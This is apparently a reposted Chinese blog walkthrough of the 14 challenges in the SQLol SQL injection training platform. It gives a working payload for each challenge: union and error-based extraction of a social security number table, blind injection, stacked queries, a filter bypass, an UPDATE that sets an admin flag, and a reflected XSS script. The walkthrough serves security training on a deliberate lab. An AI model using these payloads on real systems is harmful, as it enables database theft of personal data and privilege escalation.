zoukankan      html  css  js  c++  java
  • SQL注入测试平台 SQLol -6.CHALLENGES挑战

      SQLol上面的挑战共有14关,接下来我们一关一关来突破。

    Challenge 0

    目的是让查询返回所有的用户名,而不是只有一个。

    SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC

    注入点在【1】处

    构造POC:  1' or 1=1# 或者 1' and 1=2 union select username from users#

    都可以查询到所有的用户名。

    Challenge 1

    目标是找到数据库中存在的社会安全号码表并提取信息。

    SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC

    注入点在【1】处,我们需要知道有哪些表哪些字段,才能找出所想要的信息,为此,我们使用information_schema进行查表查列。

    构造POC: 

    查出数据库所有的库,      ' and 1=2 UNION SELECT table_schema FROM information_schema.tables#

    选择sqlol库查表,           ' and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema='sqlol'#

    选择表,查列,              ' and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name='ssn'#

     选择字段,查数据,       ' UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

    到此,已经得到所想要的信息。

    Challenge 2

    目标是找到数据库中存在的社会安全号码表并提取信息。

    SELECT username FROM users WHERE isadmin = 【1】 GROUP BY username ORDER BY username ASC

    注入点在【1】处,与challenge1类似,所不同的,这是数字型注入,过滤单引号。

    构造POC:

    查出数据库所有的库,1 and 1=2 UNION SELECT table_schema FROM information_schema.tables#

    选择sqlol库查表,     1 and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x73716C6F6C#(0x73716C6F6C是sqlol的Hex编码)

    选择表,查列,         1 and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=0x73736E#(0x73736E是ssn的Hex编码)

     选择字段,查数据,  1 and 1=2 UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

    到此,已经得到所想要的信息。

    Challenge 3

    目标是找到数据库中存在的社会安全号码表并提取信息。

    无提示,只输出一行,详细错误信息,查询不显示,与challenge 1类似。

    构造POC:

    ' UNION SELECT concat(name,':',ssn) FROM ssn LIMIT 0,1

    Challenge 4

     目的是找出数据库中存在的社会安全号码表,并提取其信息,无盲SQL注入技术。

    提示,有详细的错误,可以使用报错注入

    构造POC:

     ' and extractvalue(1, concat(0x5c,(select user())))#

    ' AND ExtractValue(1,concat(0x01,(select concat(name,':',ssn) from ssn limit 0,1)))#

    Challenge 5

    目标是找到数据库中存在的社会安全号码表并提取信息。

    提示,使用盲注,无输入错误信息

    构造POC:

    得到数据库的长度: 1' or  length(database())=5#

    逐字猜解ascii码: 1' or  ascii(mid(database(),1,1))=115#

    慢慢猜,总会猜出来的,大致方法就这个。

    Challenge 6

    目标是创建一个新表称为“ipwntyourdb”使用堆叠的查询。

    构造POC:

    SELECT username FROM users WHERE username = 'Herp Derper';create table ipwntyourdb( id VARCHAR(100) NOT NULL)# GROUP BY username ORDER BY username ASC

    Challenge 7

    目标是找到数据库中存在的社会安全号码表,并从数据库中删除任何内容,以提取其信息。

    提示:删除,报错,查询不显示

    POC:

     DELETE FROM users WHERE username = '' or updatexml(1,concat(0x7e,(version()),0x7e),0) or'

     

    Challenge 8

    目标找到数据库中存在的社会安全号码表并提取信息。

     提示:有黑名单过滤,需绕过,过滤了union,select,where,and,or,--,#等字符。

    POC:

    ' uNion seLect concat(name,':',ssn) from ssn uNion selEct null from users whEre username='

    Challenge 9

    目的是注入查询并导致其更新ID为3的用户”isadmin”更改为1。

    UPDATE users SET isadmin = 1 WHERE id = 3

    如何把这句拼接到原有注入点,并执行成功呢?

    POC:

    UPDATE users SET username = 'admin', isadmin = 1 WHERE id = 3#

    更新ID为3的username为admin,并把isadmin改为1.

    Challenge 10

    目标是从数据库中获取社会安全号码。

    提示:注入点在【1】处,SELECT 【1】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

    POC:

    seLect concat(name,':',ssn) from ssn#

    Challenge 11

    目标是从数据库中获取社会安全号码。

    POC:

    SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 and (select count(*) from information_schema.columns group by concat(version(),0x27202020,floor(rand(0)*2-1))) ASC 

    Challenge 12

    目的是使用一个SQL注入漏洞执行反射跨站脚本攻击。

    POC:

     1' and <script>alert(11)</script>#

    SELECT username FROM users WHERE username = ' 1' and <script>alert(11)</script>#' GROUP BY username ORDER BY username ASC  

    执行过程中,会报错,弹窗,然后提示如下:

    SELECT username FROM users WHERE username = '1' and #' GROUP BY username ORDER BY username ASC  

    JavaScript脚本已经成功在浏览器运行。

    Challenge 13

    目的是从数据库检索所有的用户名。

    POC:

    在没有过滤单引号的情况下:select username from users where username LIKE '2' or 1=1

    过滤了单引号:

    通过模糊查询的方法来盲注,

    %,表示任意0个或多个字符

    _,表示任意单个字符

    [],表示字符括号中所列字符的一个

    [^],不在这里的所列字符

    根据页面返回是否正确得到判断。

    1、得到username的一个首字符

    select username from users where username LIKE 'P%' LIMIT 0,1

    2、判断以P开头的首字符有几位

    select username from users where username LIKE 'P__________' LIMIT 0,1

    3、接着往下猜解呗。。。。

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

  • 相关阅读:
    2019牛客多校 Round10
    2019牛客多校 Round9
    2019牛客多校 Round8
    2019牛客多校 Round7
    2019HDU多校 Round8
    2019HDU多校 Round7
    elasticsearch分词器
    elasticsearch的mapping
    elasticsearch批量操作
    elasticsearch元数据
  • 原文地址:https://www.cnblogs.com/xiaozi/p/5536629.html
Copyright © 2011-2022 走看看